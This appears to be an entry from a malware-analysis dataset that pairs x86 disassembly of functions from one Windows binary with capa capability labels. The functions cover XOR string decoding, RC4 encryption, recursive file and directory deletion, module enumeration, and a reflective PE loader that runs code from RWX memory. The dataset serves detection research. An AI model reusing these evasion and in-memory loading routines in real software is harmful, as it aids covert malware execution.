joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100117e3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x10011804
mov esi, edx
mov ecx, eax
sub esi, eax
mov edx, edi
mov bl, byte [esi + ecx]
xor bl, byte [ebp + 0xc]
mov byte [ecx], bl
inc ecx
dec edx
jne 0x100117f8
xor edx, edx
mov byte [edi + eax], dl
cmp edi, edx
jbe 0x1001189c
lea ebx, [edx + eax]
mov cl, byte [ebx]
cmp cl, 0x5c
jne 0x1001183e
lea edi, [edx + eax + 1]
cmp byte [edi], cl
je 0x10011887
cmp cl, cl
jne 0x1001183e
lea edi, [edx + eax + 1]
cmp byte [edi], 0x72
jne 0x1001183e
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
mov byte [ebx], 0xd
rep movsb byte es:[edi], byte [esi]
cmp byte [ebx], 0x5c
jne 0x10011892
lea edi, [edx + eax + 1]
cmp byte [edi], 0x6e
jne 0x1001185a
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
mov byte [ebx], 0xa
rep movsb byte es:[edi], byte [esi]
cmp byte [ebx], 0x5c
jne 0x10011892
lea edi, [edx + eax + 1]
cmp byte [edi], 0x74
jne 0x10011876
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
mov byte [ebx], 9
rep movsb byte es:[edi], byte [esi]
cmp byte [ebx], 0x5c
jne 0x10011892
lea edi, [edx + eax + 1]
cmp byte [edi], 0x22
jne 0x10011892
mov byte [ebx], 0x22
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
rep movsb byte es:[edi], byte [esi]
inc edx
cmp edx, dword [ebp + 8]
jb 0x10011811
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x10012033
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 0xc], 0
push esi
push edi
push 0x80000000
push dword [ebp + 8]
xor eax, eax
lea edi, [ebp - 8]
stosd dword es:[edi], eax
call fcn.10012013
mov esi, eax
cmp esi, 0xffffffff
je 0x1001206a
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push esi
call fcn.10010350
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
pop edi
pop esi
leave
ret 4

Function at 0x10012238
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
mov esi, eax
cmp dword [ebp + 8], ebx
je 0x1001229a
cmp dword [ebp + 0xc], ebx
je 0x1001229a
cmp esi, ebx
je 0x1001229a
push edi
push 0x40000000
push dword [ebp + 8]
call fcn.10012013
mov edi, eax
cmp edi, 0xffffffff
jne 0x10012273
push dword [ebp + 8]
call fcn.10011ff1
mov edi, eax
cmp edi, 0xffffffff
je 0x10012299
push dword [ebp + 0xc]
push edi
call fcn.100120cd
test eax, eax
je 0x1001228e
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x1001228e
xor ebx, ebx
inc ebx
cmp edi, 0xffffffff
je 0x10012299
push edi
call fcn.10010350
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret 8

Function at 0x100122a2
Capabilities:
Delete file
Set file attributes

Disassembly:
xor eax, eax
test edi, edi
je 0x100122c2
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call esi
test eax, eax
jne 0x100122c1
push edi
call esi
pop esi
ret
Function at 0x100122c3
Capabilities:
Delete directory
Enumerate files on windows
Enumerate files recursively
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
cmp dword [ebp + 8], 0
push ebx
push esi
push edi
je 0x10012497
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x100122f7
push 0x7f
push 5
mov eax, edi
mov edx, str.UQU
call fcn.100117e3
mov eax, dword [ebp + 8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100122fd
sub eax, edx
mov ecx, eax
mov eax, edi
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001230d
sub eax, esi
lea esi, [eax + ecx + 1]
call fcn.10012679
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x10012497
mov ebx, 0x104
push ebx
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push ebx
push edi
push esi
call dword [sym.imp.SHLWAPI.dll_StrNCatA]
lea eax, [ebp - 0x14c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x10012497
push 4
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 8], eax
test eax, eax
je 0x10012381
push 0x92
push 2
mov edx, 0x10026678
call fcn.100117e3
push 2
mov edi, 0x10022664
lea esi, [ebp - 0x120]
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x1001245a
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x120]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x100123c2
test cl, cl
je 0x100123be
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x100123c2
add eax, 2
add esi, 2
test cl, cl
jne 0x100123a2
xor eax, eax
jmp 0x100123c7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1001245a
mov eax, dword [ebp + 8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100123d5
sub eax, edx
mov esi, eax
lea eax, [ebp - 0x120]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100123e9
sub eax, edi
lea esi, [eax + esi + 2]
call fcn.10012679
mov esi, eax
test esi, esi
je 0x10012497
push ebx
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push esi
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push ebx
lea eax, [ebp - 0x120]
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrNCatA]
test byte [ebp - 0x14c], 0x10
je 0x10012437
push esi
call fcn.100122c3
jmp 0x10012455
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edi, esi
call fcn.100122a2
test eax, eax
jne 0x10012455
push 4
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
call fcn.1001272d
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10012381
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [ebp - 0xc]
call fcn.1001272d
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea esp, [ebp - 0x158]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1001253a
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
je 0x10012563
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10012560
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10012563
xor esi, esi
inc esi
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100125b4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push edi
push 3
xor edi, edi
call fcn.1001b342
add eax, 3
push eax
call fcn.100119a6
mov ebx, eax
test ebx, ebx
je 0x10012619
push esi
lea eax, [ebp - 0x104]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x10012611
call fcn.10012679
mov edi, eax
test edi, edi
je 0x10012611
push edi
push 0xffffffffffffffff
call fcn.1001b342
push eax
push ebx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov esi, ebx
call fcn.1001272d
pop esi
mov eax, edi
pop edi
pop ebx
leave
ret

Function at 0x10012761
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push 0x40
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
neg eax
sbb eax, eax
and eax, dword [ebp - 4]
leave
ret 8

Function at 0x10012786
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor esi, esi
push 4
xor ebx, ebx
pop edi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], edi
cmp dword [ebp + 8], esi
je 0x10012852
cmp dword [ebp + 0xc], esi
je 0x10012852
cmp dword [ebp + 0x10], esi
je 0x10012852
push 0xf0000020
push 1
push esi
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10012835
cmp dword [ebp - 8], esi
je 0x10012835
lea eax, [ebp - 4]
push eax
push esi
push esi
push dword [ebp + 0x14]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10012835
cmp dword [ebp - 4], esi
je 0x10012843
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x10012835
push esi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
call edi
test eax, eax
je 0x10012835
push esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
push 2
push dword [ebp - 4]
call edi
test eax, eax
je 0x10012835
inc ebx
cmp dword [ebp - 4], esi
je 0x10012843
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 8], esi
je 0x10012852
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 0x10
Function at 0x100128bb
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
test ecx, ecx
je 0x10012958
test edi, edi
je 0x10012958
mov eax, edi
shr eax, 2
xor edx, edx
lea ecx, [ecx + eax*4]
neg eax
push esi
je 0x100128fd
mov esi, dword [ecx + eax*4]
imul esi, esi, 0xcc9e2d51
rol esi, 0xf
imul esi, esi, 0x1b873593
xor edx, esi
rol edx, 0xd
imul edx, edx, 5
add edx, 0xe6546b64
inc eax
jne 0x100128da
mov eax, edi
and eax, 3
xor esi, esi
dec eax
je 0x1001291d
dec eax
je 0x10012914
dec eax
jne 0x10012933
movzx esi, byte [ecx + 2]
shl esi, 0x10
movzx eax, byte [ecx + 1]
shl eax, 8
xor esi, eax
movzx eax, byte [ecx]
xor eax, esi
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor edx, eax
xor edx, edi
mov eax, edx
shr eax, 0x10
xor eax, edx
imul eax, eax, 0x85ebca6b
mov ecx, eax
shr ecx, 0xd
xor ecx, eax
imul ecx, ecx, 0xc2b2ae35
mov eax, ecx
shr eax, 0x10
xor eax, ecx
pop esi
ret
xor eax, eax
ret

Function at 0x10014379
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
xor eax, eax
push 0x220
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x224]
push eax
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push dword [ebp + 8]
push 8
pop edi
push edi
call esi
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100143e3
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x18
jne 0x10014473
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push dword [ebp + 8]
push edi
call esi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10014492
lea eax, [ebp - 0x228]
push eax
push ebx
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x10014487
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp + 8], eax
test eax, eax
je 0x10014421
push 0x7f
push 6
mov edx, 0x10026388
call fcn.100117e3
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x10014441
push 0x91
push 4
mov eax, edi
mov edx, 0x10026324
call fcn.100117e3
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call esi
test eax, eax
je 0x1001445f
push edi
push eax
call esi
test eax, eax
jne 0x10014480
lea eax, [ebp - 0x228]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x10014447
jmp 0x10014487
call ebx
cmp eax, 0x12b
je 0x10014492
call ebx
jmp 0x10014492
mov dword [ebp - 4], 1
cmp ebx, 0xffffffff
je 0x10014492
push ebx
call fcn.10010350
mov eax, dword [ebp - 4]
lea esp, [ebp - 0x234]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10014805
Capabilities:
Access pe header
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10014909
cmp dword [ebp + 0xc], 0
je 0x10014909
push ebx
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ebx, eax
test ebx, ebx
je 0x10014908
push 0x40
push 0x3000
push dword [ebx + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
mov dword [ebp + 0xc], edx
test edx, edx
je 0x10014908
mov ecx, dword [ebx + 0x54]
and dword [ebp - 4], 0
push edi
mov edi, edx
rep movsb byte es:[edi], byte [esi]
movzx eax, word [ebx + 0x14]
xor ecx, ecx
lea eax, [eax + ebx + 0x2c]
cmp cx, word [ebx + 6]
jae 0x1001488a
mov esi, dword [eax]
mov edi, dword [eax - 8]
add esi, dword [ebp + 8]
mov ecx, dword [eax - 4]
add edi, edx
rep movsb byte es:[edi], byte [esi]
movzx ecx, word [ebx + 6]
add eax, 0x28
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x1001486c
push edx
call fcn.1001109f
mov edi, dword [ebx + 0x80]
add edi, edx
jmp 0x100148e7
add eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov dword [ebp + 8], eax
cmp eax, esi
je 0x100148e4
cmp dword [edi + 4], esi
je 0x100148b4
mov esi, dword [edi]
jmp 0x100148b7
mov esi, dword [edi + 0x10]
add esi, dword [ebp + 0xc]
jmp 0x100148df
mov eax, dword [esi]
test eax, eax
jns 0x100148c9
and eax, 0xffff
jmp 0x100148d0
mov ecx, dword [ebp + 0xc]
lea eax, [eax + ecx + 2]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi], eax
add esi, 4
cmp dword [esi], 0
jne 0x100148bc
add edi, 0x14
mov eax, dword [edi + 0xc]
xor esi, esi
push esi
push esi
cmp eax, esi
jne 0x1001489a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov ebx, dword [ebx + 0x28]
add ebx, dword [ebp + 0xc]
call ebx
pop edi
pop ebx
xor eax, eax
pop esi
leave
ret 8

Function at 0x10014910
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp + 0xc]
test edx, edx
jle 0x10014999
mov ecx, dword [ebp + 8]
push ebx
sub ecx, esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
jmp 0x10014930
mov ecx, dword [ebp - 0xc]
mov cl, byte [ecx + esi]
mov byte [ebp - 1], cl
mov cl, byte [eax + 0x100]
movzx edi, cl
add edi, eax
mov dl, byte [edi]
mov byte [ebp + 0xf], dl
mov dl, byte [eax + 0x101]
add dl, byte [ebp + 0xf]
mov dword [ebp - 0x10], edi
movzx edi, dl
add edi, eax
mov bl, byte [edi]
mov dword [ebp - 0x14], edi
mov edi, dword [ebp - 0x10]
mov byte [edi], bl
mov edi, dword [ebp - 0x14]
mov byte [ebp + 0xb], bl
mov bl, byte [ebp + 0xf]
mov byte [edi], bl
movzx edi, byte [ebp + 0xb]
movzx ebx, bl
add edi, ebx
mov bl, byte [ebp - 1]
and edi, 0xff
xor bl, byte [edi + eax]
inc cl
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
mov byte [esi], bl
inc esi
dec dword [ebp - 8]
jne 0x1001492d
pop edi
pop ebx
pop esi
leave
ret 8
Function at 0x10016070
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
test ecx, ecx
jne 0x10016082
xor eax, eax
jmp 0x10016152
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x10016136
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x10022108]
movzx ebx, byte [ecx + 1]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x10022108]
movzx ebx, byte [ecx + 2]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x10022108]
movzx ebx, byte [ecx + 3]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x10022108]
movzx ebx, byte [ecx + 4]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x10022108]
movzx ebx, byte [ecx + 5]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x10022108]
movzx ebx, byte [ecx + 6]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x10022108]
movzx ebx, byte [ecx + 7]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x10022108]
add ecx, 8
sub edi, 8
dec esi
jne 0x10016099
pop ebx
test edi, edi
je 0x1001614f
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x10022108]
inc ecx
dec edi
jne 0x1001613a
not eax
pop esi
pop edi
pop ebp
ret 4

Function at 0x1001682c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x1001685c
push 0
lea eax, [ebp + 8]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10016857
mov byte [esi + 8], 1
mov eax, dword [ebp + 8]
jmp 0x10016884
mov ecx, dword [esi + 0x18]
mov eax, dword [esi + 0x14]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x1001686d
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0x10]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call sub.ntdll.dll_memcpy
add esp, 0xc
add dword [esi + 0x18], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret 0xc
Function at 0x1001761f
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x100176d4
mov al, byte [edi]
test al, al
je 0x100176d4
push esi
mov esi, edi
mov ecx, edi
cmp al, 0x2f
je 0x1001764b
cmp al, 0x5c
jne 0x1001764d
mov esi, ecx
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10017643
cmp esi, edi
je 0x10017683
sub esi, edi
push esi
lea eax, [ebp - 0x104]
push edi
push eax
call dword [sym.imp.ntdll.dll_strncpy]
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
mov byte [ebp + esi - 0x104], 0
call fcn.1001761f
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x208]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x1001768e
mov eax, edi
mov edx, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001769c
lea edi, [ebp - 0x208]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100176ac
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x208]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop esi
pop edi
leave
ret 8
Function at 0x100176d9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4248
call fcn.1001d97e
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 4], 0xffffffff
je 0x100176f8
push dword [edi]
call fcn.10017295
mov esi, dword [edi]
or dword [edi + 4], 0xffffffff
xor ebx, ebx
cmp dword [esi + 4], ebx
jg 0x1001770f
mov eax, 0x10000
jmp 0x100178cc
cmp dword [esi + 0x10], ebx
jle 0x10017722
call fcn.10016e2c
jmp 0x10017722
mov esi, dword [edi]
call fcn.10016e5e
mov eax, dword [edi]
cmp dword [eax + 0x10], ebx
jl 0x1001771b
lea eax, [ebp - 0x244]
push eax
push edi
call fcn.10017369
test byte [ebp - 0x13c], 0x10
je 0x10017759
lea eax, [ebp - 0x240]
push eax
add edi, 0x138
push edi
call fcn.1001761f
xor eax, eax
jmp 0x100178cc
mov ebx, dword [ebp + 8]
mov cl, byte [ebx]
mov eax, ebx
mov edx, ebx
test cl, cl
je 0x10017813
cmp cl, 0x2f
je 0x10017774
cmp cl, 0x5c
jne 0x10017777
lea eax, [edx + 1]
inc edx
mov cl, byte [edx]
test cl, cl
jne 0x1001776a
cmp eax, ebx
je 0x10017813
lea esi, [ebp - 0x114]
mov ecx, ebx
sub esi, ebx
mov dl, byte [ecx]
mov byte [esi + ecx], dl
inc ecx
test dl, dl
jne 0x10017790
sub eax, ebx
mov byte [ebp + eax - 0x115], dl
cmp byte [ebp - 0x114], 0x2f
je 0x100177c1
cmp byte [ebp - 0x114], 0x5c
je 0x100177c1
cmp byte [ebp - 0x113], 0x3a
mov byte [ebp - 5], dl
jne 0x100177c5
mov byte [ebp - 5], 1
mov esi, dword [sym.imp.ntdll.dll_strstr]
lea eax, [ebp - 0x114]
push 0x10022928
push eax
call esi
mov ebx, eax
lea eax, [ebp - 0x114]
push 0x1002292c
push eax
call esi
add esp, 0x10
test eax, eax
setne al
test ebx, ebx
setne cl
or al, cl
or al, byte [ebp - 5]
jne 0x10017810
lea eax, [ebp - 0x114]
push eax
lea eax, [edi + 0x138]
push eax
call fcn.1001761f
mov ebx, dword [ebp + 8]
xor eax, eax
push eax
push 0x80
push 2
push eax
push eax
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
jne 0x1001783d
mov eax, 0x200
jmp 0x100178cc
push dword [edi]
call fcn.10017055
xor bl, bl
mov esi, 0x4000
jmp 0x1001786a
je 0x10017880
push 0
lea ecx, [ebp - 0xc]
push ecx
push eax
lea eax, [ebp - 0x4244]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1001787e
lea eax, [ebp - 0x4244]
push eax
mov eax, dword [edi]
mov ecx, esi
call fcn.10017145
test eax, eax
jns 0x1001784d
mov bl, 1
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 1
jne 0x100178b0
test bl, bl
jne 0x100178b0
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x130]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [edi]
call fcn.10017295
movzx eax, bl
neg eax
sbb eax, eax
and eax, 0x400
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10018d91
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, eax
xor edi, edi
mov dword [esi + 0x6af78], edi
cmp dword [esi + 0x6af70], edi
jne 0x10018dc0
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
push 0x1fffc
lea eax, [esi + 0x4af70]
push edi
push eax
mov dword [esi + 0x6af6c], edi
call sub.ntdll.dll_memset
mov eax, ebx
movzx ecx, word [eax*8 + 0x1002090a]
mov dword [esi + 0x6af98], ecx
movzx ecx, word [eax*8 + 0x10020908]
mov dword [esi + 0x6af9c], ecx
movzx ecx, word [eax*8 + 0x1002090c]
mov dword [esi + 0x6afa0], ecx
movzx eax, word [eax*8 + 0x1002090e]
add esp, 0xc
mov dword [esi + 0x6af94], eax
cmp ebx, 2
jg 0x10018e23
mov eax, dword [ebp + 0xc]
or word [eax], 4
jmp 0x10018e2f
cmp ebx, 8
jl 0x10018e2f
mov eax, dword [ebp + 0xc]
or word [eax], 2
push 0x10000
lea ebx, [esi + 0x1af70]
push ebx
push esi
mov dword [esi + 0x6af84], edi
mov dword [esi + 0x6af74], edi
call dword [esi + 0xc]
mov dword [esi + 0x6af90], eax
cmp eax, edi
je 0x10018e91
cmp eax, 0xffffffff
je 0x10018e91
mov dword [esi + 0x6af8c], edi
cmp eax, 0x106
jae 0x10018e6c
call fcn.10018feb
mov dword [esi + 0x6af7c], edi
xor eax, eax
movzx ecx, byte [ebx + eax]
shl edi, 5
xor edi, ecx
and edi, 0x7fff
inc eax
mov dword [esi + 0x6af7c], edi
cmp eax, 2
jb 0x10018e74
jmp 0x10018ea1
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8